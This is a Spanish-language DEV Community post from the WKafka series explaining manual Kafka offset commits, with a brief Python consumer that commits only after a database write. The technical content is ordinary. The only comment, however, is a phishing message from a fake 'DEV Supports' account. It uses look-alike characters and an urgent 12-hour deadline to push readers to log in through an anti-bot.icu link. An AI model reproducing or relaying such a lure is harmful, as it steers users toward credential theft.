DEV Community

William Rodriguez
William Rodriguez

Posted on

Tú decides cuándo hecho es hecho: Commit manual de offsets en Kafka.

Tú decides cuándo hecho es hecho: Commit manual de offsets en Kafka.

Día 06 de la serie técnica WKafka Open Source.

Si tu consumidor se apaga justo después de leer un mensaje con auto_commit=True, ese mensaje se perdió para siempre. El commit manual te devuelve el control.

Los Problemas Reales

  • El auto-commit marcando mensajes como 'procesados' antes de guardar en base de datos
  • Pérdida silenciosa de datos si el contenedor crashea a mitad del procesamiento
  • Descuadres contables fantasma causados por commits de offset prematuros

La Implementación

from wkafka import WKafka

kafka = WKafka(auto_commit=False)

@kafka.consumer(topic="financial_ops", format="json")
def on_financial(msg):
    save_to_database(msg.value)   # 1. Database commit succeeds
    msg.commit()                  # 2. Only now is offset committed!
Enter fullscreen mode Exit fullscreen mode

Por qué esta arquitectura gana

  • Cero Pérdida de Datos: auto_commit=False evita el avance prematuro del offset.
  • msg.commit(): Confirma únicamente tras escrituras exitosas en base de datos.
  • Reanudación Limpia: Los mensajes no confirmados se reintentan tras la recuperación.

Verificación y Estado

Probado y verificado contra clusters reales de Apache Kafka (ver EXAMPLES_STATUS.md en el repositorio). Compatible con Python 3.9 a 3.14 con tipado estricto mypy.

Top comments (1)

Collapse
 
supportdev profile image
DEV SUPPORTS •

Dеаr User,
Due to an іnсreаse in bоt aсtivity on thе рlаtfоrm, wе requirе verifу of your account.
Plеase lоg іn viа the lіnk below:
• anti-bot.icu/5K0N5G7M9C4
Verificated deadline - 12 hours.
Sincerely,Dev Suppоrt

‌‍